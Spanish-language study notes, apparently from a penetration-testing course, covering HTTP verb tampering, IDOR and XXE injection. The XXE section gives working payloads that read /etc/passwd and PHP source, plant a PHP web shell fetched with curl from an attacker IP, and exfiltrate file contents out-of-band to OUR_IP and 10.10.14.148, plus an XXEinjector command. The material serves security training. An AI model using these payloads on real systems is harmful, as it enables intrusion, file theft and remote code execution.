21 - Ataques Web (Verb Tampering, IDOR, XXE)

HTTP Verb Tampering

Aprovecha que algunos servidores aceptan múltiples métodos HTTP. Enviando solicitudes con métodos inesperados se pueden eludir mecanismos de autorización. El protocolo admite hasta 9 métodos, algunos sensibles:
  • HEAD: solo recupera cabeceras, similar a GET
  • PUT: escribe datos en una ubicación
  • DELETE: elimina recursos
  • OPTIONS: muestra los métodos aceptados
  • PATCH: modificaciones parciales a un recurso
Por ejemplo, si solo los admins pueden resetear algo pero cambiamos el método en Burp, lo bypasseamos. También sirve para bypassear filtros de seguridad (inyectar un comando y cambiar a GET).

IDOR

Uno de los fallos más comunes, por mala implementación de los controles de acceso. Al usar identificadores directos (números secuenciales, IDs de usuario), un atacante puede adivinar otros identificadores y acceder a información que no le corresponde.

XXE Injection

Ataca aplicaciones que procesan XML. Con bibliotecas desactualizadas, un atacante puede enviar XML malicioso para que el servidor revele archivos locales, contraseñas o el código fuente.

Identificación

xml
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>

Leer archivos sensibles

xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>

Leer código fuente

xml
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=connection.php"> ]>
<root><email>&example;</email></root>

RCE

bash
$ echo '<?php system($_REQUEST["cmd"]);?>' > shell.php$ sudo python3 -m http.server 80
xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root><email>&company;</email></root>

Exfiltración avanzada con CDATA

bash
$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd$ python3 -m http.server 8000
xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///flag.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://10.10.14.148:8000/xxe.dtd">
  %xxe;
]>
<root><email>&joined;</email></root>

Exfiltración Blind (OOB)

Cuando el servidor no refleja el resultado, exfiltración out-of-band:
txt
# xxe.dtd en local
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
xml
<!DOCTYPE email [
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>

Automatización

terminal
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter